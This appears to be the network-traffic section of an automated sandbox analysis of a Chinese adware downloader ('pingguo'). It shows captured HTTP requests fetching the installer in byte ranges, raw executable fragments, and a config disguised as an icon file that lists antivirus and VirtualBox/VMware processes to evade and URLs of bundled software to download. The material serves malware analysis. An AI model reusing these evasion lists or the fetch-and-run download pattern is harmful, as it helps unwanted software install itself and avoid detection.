hxxp://downloader.re58.cn/downcontainer/downLoadInfo.do?oemID=0&recid=22000025816 | 203.130.61.92 |
hxxp://v1.cnzz.com/stat.php?id=5887135&web_id=5887135 | 1.99.192.15 |
web.51.la | 117.21.224.131 |
IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)
Traffic
GET /business/5/pingguo.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Range: bytes=0-3047423
Host: img001.com
Accept: */*
Cache-Control: no-cache
HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:00:05 GMT
Content-Type: application/octet-stream
Content-Length: 3047424
Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT
Connection: keep-alive
Content-Range: bytes 0-3047423/15217760
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1H..u)..u)..u)...&..w)..u)...)...&..d)...6...).../..t)..Richu)..........PE..L......I.................\...........2.......p....@..........................p......n........................................s.......................................................................................p...............................text....[.......\.................. ..`.rdata.......p.......`..............@..@.data...x............r..............@....ndata.......@...........................rsrc................v..............@..@........................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..X...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e..9}...Dp@........FP.VT........ M............U....M....3...3..FQ......3..NU.....M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...e....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F..
<<< skipped >>>
GET /business/5/pingguo.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Range: bytes=9125888-12173311
Host: img001.com
Accept: */*
Cache-Control: no-cache
HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:00:28 GMT
Content-Type: application/octet-stream
Content-Length: 3047424
Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT
Connection: keep-alive
Content-Range: bytes 9125888-12173311/15217760
'F...\....6......Z.2..4/f.T....l.4Ud. >.K.v....=l..8G.Z...2?..B.....q ..hp..B15./..m,...;.......tE..H...L..3.......)..........`[.W}H4I.....:.g.....L..m..2..,..... P.E....._.Z.}..v.@..;..z.@bY. #q<?.@87.<.;6ai..jDg~...w...@..2...Ic......."O......t.(...X..'....1.Rx'...7Z.4F.y....q.E...O..p9[?....G....$V..H.K........0.,o ..L..b.Z..[..J}...R.).}......Y.m.z4.....ry..Vg.>jz.....D...)7..t[`..Cq8.....TVx.?[..$.E.K...q,A.'...*..k........./.'2~.i...[..../`sl.D.. ...sw..O .hb:..Q)/P../.......H1..#..ZwEc..?..}!...R..vG ..k.KU2..... .j.N}...J;..._0..5....YO...T<..C..|...(r..}.......~.,..J.'(.`../Hm.&...D........@..........E..8.@......P%..<pm8n.rN.u....f.5.0..j?....7R..bVv5.a.......A.......o.....DH.RUM^.N..C4....[....U....8.}....$.B.oU.....n3..m....5..........@}.)...X...syL\_.~R.g..(c..T._T.....#.....U..4.~u.o!;...M.J..t.|..}..};!pP.;<....22,.*..3....&..~9.y.8R....=....}.sn>.....#3....w....-........1.......D.6gl}z)..(....... .F.=.6..#........$0.&r)..I.mX.(k.....5..............Xw..`.;v..o..O..%....9tz.md.o.k...f.L&......9..@.....Bg....j..............5m..........?......r...3..E...W........d`....*...%.9......L..........y.Km`]..p%1.$4.....*.....4._....s.J.@.?..MPb8!...k@U.[g..BA...q.:.TQf>.4/.-..a..$..].l...vR};........@........9*.}-.#...l7k.g.$P.P.!.qp5.....9......j.........c"..lN.L.].F...i....w...b...K.....l....._.4...2..~...}X.&....]..h6Z..Q....#J.....,..1....8..'...v....3...w_..5z..L..B..G.....E#-..$b..V.8.....&...0.[.J....(.;.D... .<C.....j....Enx0 S............@....{...:S.30A.Lg.8.c..9......VW
<<< skipped >>>
GET /business/5/pingguo.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Range: bytes=10780672-12173311
Host: img001.com
Accept: */*
Cache-Control: no-cache
HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:00:48 GMT
Content-Type: application/octet-stream
Content-Length: 1392640
Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT
Connection: keep-alive
Content-Range: bytes 10780672-12173311/15217760
.;......3E.>...&.....F.f..] c(.*.k..b.{._I.m%.*...]..;....,...D.f#@T..>...%...8.GI.G.."...K;....>..|0N........'f........JC....sz..(...<"y.uU.4 ... V"ya).p.WG.?u.....S..,^.4.8....N.c..\-..Y.t....-..w......#C....X./.I.2.c._uD.\:.......gz.:?a..U(.{B...~\.( ...U.2..F..Ft.i 08R..zL.gi......N-...V...Y..........N,zM_j'..z@Vg...0rp..|..$N........V.........2..O....O...jS.....9......Y-.#r......[..5.e'..W.......%..p=....?..m.J.....t...36.(K..a..,........!qU....Y..g8..f...v...BC...so~.d&|.C.>.........wQ..:8.K.....b..}......../.Q....j.........&.0..c.......^Sd.....;Pp>........EY......b>A/b$.KdZ..S.$...)..b...W.B.c.^U.O.....U..s.$..$I:..`!kw.Q`2..: .^Y..?&R..9....H<....Yc....b"...,P..GY....-.[.>...'...*...FE.ba...,...Yi.s..)..smk.m...[...6T7(2.j.N.Q~'...Lg.Ct}v^t.}T.n....B6.7q.T".....T).4...A`..S...\..tSzW..c..q..t.6.w5..-.V.o.'z.4.mDm.....tp.Ouk......H..f.F..... .{._..duk.../...".UJ.W.3..I....9.x............w....m..}. ..Z..NR..|).....E...-....G!\.....^u.....7a..^......?..`p?.....r.....@...e..(p/.... ....).Vsu.D.6..F..=#..6q/...{.....F...K..O....x..KKL..!-Lk.......Ok..K[!_..r.5..._-............O..r.....|.......[B..h;.....]..\~'.W...r...^..J..MW....r...t...%...'0...*....lj...FIQJ.o.7g..9Lq..>....."...J>~. ...A..2..c@..~D.v ..K.....|n.0.,...T...Q..{...\...p..B.|.Q.~0i... ..p...&.w..a_.....P..Z@.= B...eE...i..5@..x...`}....i...P....N,...,....UYL.\.^......... H....................g..h..X.F....G...............O....i.I>@Ad.c.R.5P../..e.~.....~y.z.=M...)c.D...`.*4..t......F....$I.I.W.....A..AF$1 .
<<< skipped >>>
HEAD /business/5/pingguo.exe HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: img001.com
Content-Length: 0
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 22:57:45 GMT
Content-Type: application/octet-stream
Content-Length: 15217760
Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT
Connection: keep-alive
Accept-Ranges: bytes
GET /z.ico?832187 HTTP/1.1
Accept: */*
Host: dl.jmfo.cn
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 22:48:19 GMT
Server: nginx/1.4.4
Content-Type: image/x-icon
Content-Length: 3539
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Access-Control-Max-Age: 2592000
Cache-Control: public, max-age=31536000
Content-Disposition: inline; filename="z.ico"
Content-Transfer-Encoding: binary
ETag: "FlM0l6sGTFVVx38RSOVvstsld2vH"
X-Log: mc.g;IO:1
X-Reqid: FRAAAKtpx-npsdgT
X-Whom: nb263
X-Qiniu-Zone: 0
X-Via: 1.1 sxdx59:3 (Cdn Cache Server V2.0)
Connection: keep-alive
[Config]..Tongji=hXXp://newplay.aliapp.com/Count/Index..Count=12..[Process]..1=360tray.exe,360Safe.exe..2=360rp.exe,360sd.exe..3=QQPCRTP.exe,QQPCTray.exe..4=KSafeSvc.exe,KSafeTray.exe,kxescore.exe,kxetray.exe..8=VBoxTray.exe,VBoxService.exe,VMwareUser.exe,VMwareTray.exe,vmtoolsd.exe,vmacthlp.exe..9=ikeeper.exe,DbntCli.exe,BarClientView.exe,BarMonitor.exe,DF5Serv.exe,PBSClient.exe,Clsmn.exe..[Orader]..;......0=0,1,2,3,5,6,7,8,9,10,11,12,4..;360......1=0..;360......2=0,1,2,3,5,6,7,8,9,10,11,12,4..;QQ..3=0,01,2,3,4,5,6,7,08,9,10..;......4=0,1,2,3,6,7,8,9,10..;........8=0,1,2,3,5,7,8,9,10,11,12,4..;......9=0,1,2,3,5,6,7,8,9,10,11,12,4..[Soft0]..name=......check=..url=hXXp://dl.ntfst.cn/tc.html..exe=2..can=..gai=..[Soft1]..name=........check=..url=hXXp://download.re58.cn/c/girlshow_22000025816.exe..exe=girlshow_22000025816.exe..can=..gai=..[Soft01]..name=......(..)..check=..url=hXXp://download.re58.cn/c/girlshow_22000025816.exe..exe=girlshow_22000025816.exe..can=..gai=y..[Soft2]..name=UC........check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\UCBrowser..url=hXXp://umcdn.uc.cn/down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe..exe=Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe..can=..gai=..[Soft3]..name=............check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\............url=hXXp://downsrf.eastday.com/qdb/setup_dfkb190.exe..exe=setup_dfkb190.exe..can=..gai=..[Soft03]..name=..........(..)..check=HKLM|SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\........
<<< skipped >>>
GET /17440728.js HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: js.users.51.la
Connection: Keep-Alive
HTTP/1.1 200 OK
Cache-Control: max-age=300
Content-Length: 1931
Content-Type: application/x-javascript
Last-Modified: Sun, 12 Apr 2015 04:36:31 GMT
Accept-Ranges: bytes
ETag: "f029ad3fda74d01:176d"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 22:48:30 GMT
Connection: close
document.write ('<a href="hXXp://VVV.51.la/?17440728" target="_blank" title="51.la 专业、免费、强健的访问统计">网站统计</a>\n');..var a0728tf="51la";var a0728pu="";var a0728pf="51la";var a0728su=window.location;var a0728sf=document.referrer;var a0728of="";var a0728op="";var a0728ops=1;var a0728ot=1;var a0728d=new Date();var a0728color="";if (navigator.appName=="Netscape"){a0728color=screen.pixelDepth;} else {a0728color=screen.colorDepth;}..try{a0728tf=top.document.referrer;}catch(e){}..try{a0728pu =window.parent.location;}catch(e){}..try{a0728pf=window.parent.document.referrer;}catch(e){}..try{a0728ops=document.cookie.match(new RegExp("(^| )a0728_pages=([^;]*)(;|$)"));a0728ops=(a0728ops==null)?1: (parseInt(unescape((a0728ops)[2])) 1);var a0728oe =new Date();a0728oe.setTime(a0728oe.getTime() 60*60*1000);document.cookie="a0728_pages=" a0728ops ";path=/;expires=" a0728oe.toGMTString();a0728ot=document.cookie.match(new RegExp("(^| )a0728_times=([^;]*)(;|$)"));if(a0728ot==null){a0728ot=1;}else{a0728ot=parseInt(unescape((a0728ot)[2])); a0728ot=(a0728ops==1)?(a0728ot 1):(a0728ot);}a0728oe.setTime(a0728oe.getTime() 365*24*60*60*1000);document.cookie="a0728_times=" a0728ot ";path=/;expires=" a0728oe.toGMTString();}catch(e){}..try{if(document.cookie==""){a0728ops=-1;a0728ot=-1;}}catch(e){}..a0728of=a0728sf;if(a0728pf!=="51la"){a0728of=a0728pf;}if(a0728tf!=="51la"){a0728of=a0728t
<<< skipped >>>
GET /app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Connection: Keep-Alive
Host: pcookie.cnzz.com
HTTP/1.1 200 OK
Server: Tengine
Date: Sun, 26 Apr 2015 22:48:28 GMT
Content-Type: image/gif
Content-Length: 43
Connection: keep-alive
P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"
Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.com
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Pragma: no-cache
GIF89a.............!.......,...........L..;HTTP/1.1 200 OK..Server: Tengine..Date: Sun, 26 Apr 2015 22:48:28 GMT..Content-Type: image/gif..Content-Length: 43..Connection: keep-alive..P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"..Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.com..Expires: Thu, 01 Jan 1970 00:00:01 GMT..Cache-Control: no-cache..Pragma: no-cache..GIF89a.............!.......,...........L..;..
GET /down/4509/Browser_V4.1.4627.19_r_4509_(Build150408)_1428944402.exe HTTP/1.1
Accept: */*
Host: umcdn.uc.cn
Cache-Control: no-cache
HTTP/1.0 200 OK
Server: DnionOS/1.2.1
Date: Fri, 17 Apr 2015 02:14:56 GMT
Content-Type: application/octet-stream
Content-Length: 46360400
Last-Modified: Mon, 13 Apr 2015 17:24:38 GMT
Expires: Thu, 14 May 2015 15:43:41 GMT
Cache-Control: max-age=2592000
Accept-Ranges: bytes
X-Cache: MISS from CT-ZJSX-108-192.fastcdn.com
X-Cache: HIT from CT-JSNT-38-176-A.fastcdn.com
Age: 308154
X-Cache: HIT from CT-GXWZ-187-112.fastcdn.com
Connection: close
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V.............................. .........:...,.C.....,.A.....,.F.........A.....................$.......h.......!.....Rich............................PE..L.....#U..........................................@.................................Ui.......................................u.......................N..P........H..`...8...............................@............p...............................text............................... ..`.data...@...........................@....idata..>!...p..."..................@..@.tls................................@....rsrc...............................@..@.reloc...H.......J..................@..B......................................................................................................................................................................................................................................................................A.H.A.<.A.$.A.0.A.^.A...A...A...A...A...A...A...A...A...A...A...A.M.A...A.h.A...A.2.A...A...A.$.A...A...A.?.A.1.A...A.L.A.t.A.#.A.g.A.>.A.Y.A...A...A.Z.A.u.A...A...A...A...A...A...A...A...A...A...A...A.%.A.@.A.[.A.'.A.4.A.j.A...A...A.O.A...A...A...A...A...A.w.A...A...A...A...A...A...A...A.v.A...A...A...A.3.A...A...A...A...A...A.&.A.\.A.A.A...A...A.i.A.N.A...A...A.6.A...A.l.A...A...A...A.Q.A...A...A.C.A...A...A.^.A.P.A...A.k.A...A.B.A...A.].A.x.A...A...A.y.A...A...A...A...A.(.A...A...A...A.5.A
<<< skipped >>>
GET /tg_pic/mobo.png HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: img001.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 22:58:30 GMT
Content-Type: image/png
Content-Length: 129582
Last-Modified: Tue, 15 Oct 2013 01:45:40 GMT
Connection: keep-alive
Accept-Ranges: bytes
.PNG........IHDR...D...b.............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:61A6159E331F11E3B5E3B0304096F3D9" xmpMM:DocumentID="xmp.did:61A6159F331F11E3B5E3B0304096F3D9"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:61A6159C331F11E3B5E3B0304096F3D9" stRef:documentID="xmp.did:61A6159D331F11E3B5E3B0304096F3D9"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>\.......IDATx.....-iY....VN;.}.....4t....A..(0f......U...^..\..".......\.......$.(I@..t.>a...^.r.}..j..v:.9..>]....jU}U...~..&)I..vuY.. )2..6..=X../|.~|.......<.=2.........-B..v..jL..M..Wm..n.8...K......|.F..:...G1=.#..a@......hc. .......'........M..%,u..U@.9...O.m;.\..5D...Q....oWQ,......y..n.Oc..V.....!4..g...6A...M.&.M....{~B%$.$.r.Y....(...U.*mG.T...j.P.9..S.t=....'A........, HF..H..Z.U..t..xOv! ...3......z;..\G.1.w...i|..U..1..F.V.....QW.q.........,..4|..C.....$K..Gg....'^.I./..6....$....r.(S.S.[nO>.6.f....O..0..... ....P@..0$Et.&/.........p..g r<.#x4I3.y..&...#P..#.a.~...
<<< skipped >>>
GET /stat.php?id=5887135&web_id=5887135 HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: v1.cnzz.com
Connection: Keep-Alive
HTTP/1.1 200 OK
Server: Tengine
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Date: Sun, 26 Apr 2015 22:48:26 GMT
Last-Modified: Sun, 26 Apr 2015 22:48:26 GMT
Cache-Control: max-age=5400,s-maxage=5400
Via: cache42.l2de1[597,200-0,M], cache63.l2de1[597,0], cache9.de1[597,200-0,M], cache10.de1[599,0]
X-Cache: MISS TCP_REFRESH_MISS dirn:6:627323106
X-Swift-SaveTime: Sun, 26 Apr 2015 22:48:26 GMT
X-Swift-CacheTime: 5400
15ae..(function(){function k(){this.c="5887135";this.R="z";this.N="";this.K="";this.M="";this.r="1430088506";this.P="oz.cnzz.com";this.L="";this.u="CNZZDATA" this.c;this.t="_CNZZDbridge_" this.c;this.F="_cnzz_CV" this.c;this.G="CZ_UUID" this.c;this.v="0";this.A={};this.a={};this.la()}function g(a,b){try{var c=.[];c.push("siteid=5887135");c.push("name=" f(a.name));c.push("msg=" f(a.message));c.push("r=" f(h.referrer));c.push("page=" f(e.location.href));c.push("agent=" f(e.navigator.userAgent));c.push("ex=" f(b));c.push("rnd=" Math.floor(2147483648*Math.random()));(new Image).src="hXXp://jserr.cnzz.com/log.php?" c.join("&")}catch(d){}}var h=document,e=window,f=encodeURIComponent,l=decodeURIComponent,n=unescape,p=escape;k.prototype={la:function(){try{this.U(),this.J(),this.ia(),this.H(),this.o(),.this.ga(),this.fa(),this.ja(),this.j(),this.ea(),this.ha(),this.ka(),this.ca(),this.aa(),this.da(),this.qa(),e[this.t]=e[this.t]||{},this.ba("_cnzz_CV")}catch(a){g(a,"i failed")}},oa:function(){try{var a=this;e._czc={push:function(){return a.B.apply(a,arguments)}}}catch(b){g(b,"oP failed")}},aa:function(){try{var a=e._czc;if("[object Array]"==={}.toString.call(a))for(var b=0;b<a.length;b ){var c=a[b];switch(c[0]){case "_setAccount":e._cz_account="[object String]"==={}.toString.call(c[1])?c[1]:String(c[1]);.break;case "_setAutoPageview":"boolean"===typeof c[1]&&(e._cz_autoPageview=c[1])}}}catch(d){g(d,"cS failed")}},qa:function(){try{if("undefined"===typeof e._cz_account||e._cz_account===this.c){e._cz_account=this.c;if
<<< skipped >>>
GET /tg_pic/lunbo1.png HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: img001.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:00:05 GMT
Content-Type: image/png
Content-Length: 144211
Last-Modified: Tue, 15 Oct 2013 01:45:40 GMT
Connection: keep-alive
Accept-Ranges: bytes
.PNG........IHDR...D...b.............tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="..." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="hXXp://VVV.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="hXXp://ns.adobe.com/xap/1.0/" xmlns:xmpMM="hXXp://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:593C07D4331F11E38873A3C4134F6FD5" xmpMM:DocumentID="xmp.did:593C07D5331F11E38873A3C4134F6FD5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:593C07D2331F11E38873A3C4134F6FD5" stRef:documentID="xmp.did:593C07D3331F11E38873A3C4134F6FD5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....../.IDATx.....eG}.....o.<9.(...F.... L0.. l0.l..^.5~.k[....~.......k....#......B9..........j._u..g.Ef....(....s..}o}.............NgQ{........,.YYYYYYYYY ........:...K`eee.........i1...,.YYYY.v..[..S.q5f..j.....z."6.......V.5...F....j<`/......!......UW.......mf....^.........[k.....Gde..e.®ee....L`.X.hee..e......~p..q...j..h.q.YYYY ....:m...{..T[....." ..R.P........XYY ...R".|..P..e[.$..M./.:5.R...7.q.y.$YYYY ...z.0.@.f.s..v.l.....R....SS.T.j0E...&..........y............P.@.*P T..qc..l...>....{.N..i........X.z.....k...z.?..*XY.{.R?O........N...R.e.XH..q..8..4M..W.........4.:...
<<< skipped >>>
GET /business/5/pingguo.exe HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Range: bytes=3047424-15217760
Host: img001.com
Accept: */*
Cache-Control: no-cache
HTTP/1.1 206 Partial Content
Server: nginx
Date: Sun, 26 Apr 2015 23:00:08 GMT
Content-Type: application/octet-stream
Content-Length: 12170336
Last-Modified: Thu, 11 Dec 2014 11:04:49 GMT
Connection: keep-alive
Content-Range: bytes 3047424-15217759/15217760
a..2...`....rg=.............O..'..../A........CW......v...S...t...7........Ouq.Yt&...Jh.B,.<...|.,...g....,....S........}.M...V!..\..._1vc....BQV..n...k........(-.K....hZ... .A.WXvS........mZ...a.4..@.n...e..f...N#..6h..zVG.\...........X..S............u....G...|... $.{@.5..f.7.]f.[!...FO!|.....q.....n)..O..8QV5F7.7....)I. ;b)*Y...D.&..d...n;..........J..ruUz...g..!?.t.......T....l.oA.F&.J.j,..P(.\....[.4..2.. \z.e.1../....Z......7....Q..G.....iI.q.f..\VU..z.6!..H..YC{oY......;...|8....Fw .....lp?..J|...._......&rr .....4.2J.."N.:.q......O.G..]q..|....Y.H....(../"TG...,q.A.G....h,.S.T.Y.-...C......`.....PdR.7..o.......Os.D........v.a...Hr..W......E..pe....?.....L...n..*.....Hg..):A*.q...OVa*...k.y.......\I...`. ...DF.D.G.......Q5..ao.....X_.............S...W....^E$..\g"...........jT'.VU......;.......i....q3.2%F.@...=^W..2.@..M.xKDUXl...F..}C>...E}........ .JZ......4t*.pD.......?v. .....Gp..#2Fd...V.<.3.Y*..t.B.59s._I..u..;#...W%..._=..#.Yg....!6...>@.5..W.<wU....n.e.......k....O..........{.....&".V...8\.l...N....(3..,&".0.S)... ....'=.=.....Q......n^.x.A . ..#x...$B...V....Sb.k..Hg2..b...n....w."..(P."._.h........}.M@x.n.....uA..0...7..._.b..<..I.f.....G.../...._&.....tc#.1..m...eLu..../...Z!rH..T{.D.Y@}Ji...2..H.l&/v..r.s.. }.>H.V......"....n..C.......5...@.l.B.&W`...X.............|s.T..8.....,.....7A...>t.,.1..x......v..b......G...{..?.pDEr...j..Q....b..LV...'..{.K.K..p......:.,...S....T....d .....y..y... o.'.MF.....H.Y......o....J..`..D.. ....T..!.A.n.le......!.J.j........1....j..^.'..
<<< skipped >>>
GET /downloader/start?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: cj.pingguo55.com
Cache-Control: no-cache
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 22:53:41 GMT
Content-Length: 0
Connection: keep-alive
Set-Cookie: GUAGUAACOUNTID=1529c340417d464ea511292d0f625da0; domain=pingguo55.com; path=/; expires=Wed, 20-Apr-2016 22:52:50 GMT
....
GET /downloader/startdown?dlver=G1.0.0&pname=pingguo&pver=32&cmdtype=1&cmdid=22000025816&ad=0&oemid=0&fromurl=&webid=badu_13034453_1430087393 HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: cj.pingguo55.com
Cache-Control: no-cache
Cookie: GUAGUAACOUNTID=1529c340417d464ea511292d0f625da0
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 22:53:41 GMT
Content-Length: 0
Connection: keep-alive
HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 22:53:41 GMT..Content-Length: 0..Connection: keep-alive..
GET /downcontainer/downLoad.do HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: downloader.re58.cn
Cache-Control: no-cache
Cookie: rec_id=1:22000025816:0; HMAFROMURL=; GUAGUAACOUNTID=badu_13034453_1430087393
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 22:48:35 GMT
Server: Resin/3.1.10
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
X-Via: 1.1 kf50:10 (Cdn Cache Server V2.0)
Connection: keep-alive
02df..<?xml version='1.0' encoding='UTF-8'?><setup><product id='2' oemId='0' name='qixi55' companyName='......' productFullName='..................' version='3.2' /><product id='4' oemId='0' name='qiji55' companyName='......' productFullName='..................' version='3.2' /><product id='5' oemId='0' name='juxing55' companyName='......' productFullName='..................' version='3.2' /><product id='6' oemId='0' name='pingguo55' companyName='......' productFullName='..................' version='3.2' /><product id='7' oemId='0' name='caihong55' companyName='......' productFullName='..................' version='3.2' /><product id='8' oemId='0' name='guagua' companyName='......' productFullName='......' version='6.2.3' /></setup>..0......
GET /downcontainer/downLoadInfo.do?oemID=0&recid=22000025816 HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows NT)
Host: downloader.re58.cn
Cache-Control: no-cache
Cookie: rec_id=1:22000025816:0; HMAFROMURL=; GUAGUAACOUNTID=badu_13034453_1430087393
HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 22:48:35 GMT
Server: Resin/3.1.10
Transfer-Encoding: chunked
X-Via: 1.1 kf50:10 (Cdn Cache Server V2.0)
Connection: keep-alive
03ae..<?xml version='1.0' encoding='UTF-8'?><setup productId='6' oemId='0' productName='pingguo55' companyName='......' productFullName='..................' displayName='.................................' version='3.2' licenseUrl='hXXp://VVV.pingguo55.com/service/1954.html?id=1954&cid=1' installUrl='hXXp://img001.com/business/5/pingguo.exe' installUrl2='null' execute='pingguo55.exe -autorun'><homePage displayName='name' url='url' status='0'/><lastimage url='http://img001.com/tg_pic/mobo.png'/><image url='hXXp://img001.com/tg_pic/lunbo1.png'/><image url='hXXp://img001.com/tg_pic/lunbo2.png'/><image url='hXXp://img001.com/tg_pic/lunbo3.png'/><rept url='hXXp://cj.pingguo55.com/downloader/' productName='pingguo' version='32'/><recommendsetup name='name' url='url' status='0'/><recommendsetup name='name' url='url' status='0'/><recommendsetup name='name' url='url' status='0'/><recommendsetup name='name' url='url' status='0'/></setup>..0..
GET /9.gif?abc=1&rnd=1462919078 HTTP/1.1
Accept: */*
Referer: hXXp://dl.ntfst.cn/tc.html
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)
Host: cnzz.mmstat.com
Connection: Keep-Alive
HTTP/1.1 302 Found
Server: Tengine
Date: Sun, 26 Apr 2015 22:48:28 GMT
Content-Type: image/gif
Content-Length: 43
Connection: keep-alive
P3P: CP="NOI DSP COR CURa ADMa DEVa PSAa PSDa OUR IND UNI PUR NAV"
Set-Cookie: cna=PFnEDULM8goCAcGK9OdbedDL; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.mmstat.com
Set-Cookie: sca=992f74ca; path=/; domain=.cnzz.mmstat.com
Set-Cookie: atpsida=c37835c3c610c88d0b49cb8d_1430088508; expires=Wed, 23-Apr-25 22:48:28 GMT; path=/; domain=.cnzz.mmstat.com
Location: hXXp://pcookie.cnzz.com/app.gif?&cna=PFnEDULM8goCAcGK9OdbedDL
Expires: Thu, 01 Jan 1970 00:00:01 GMT
Cache-Control: no-cache
Pragma: no-cache
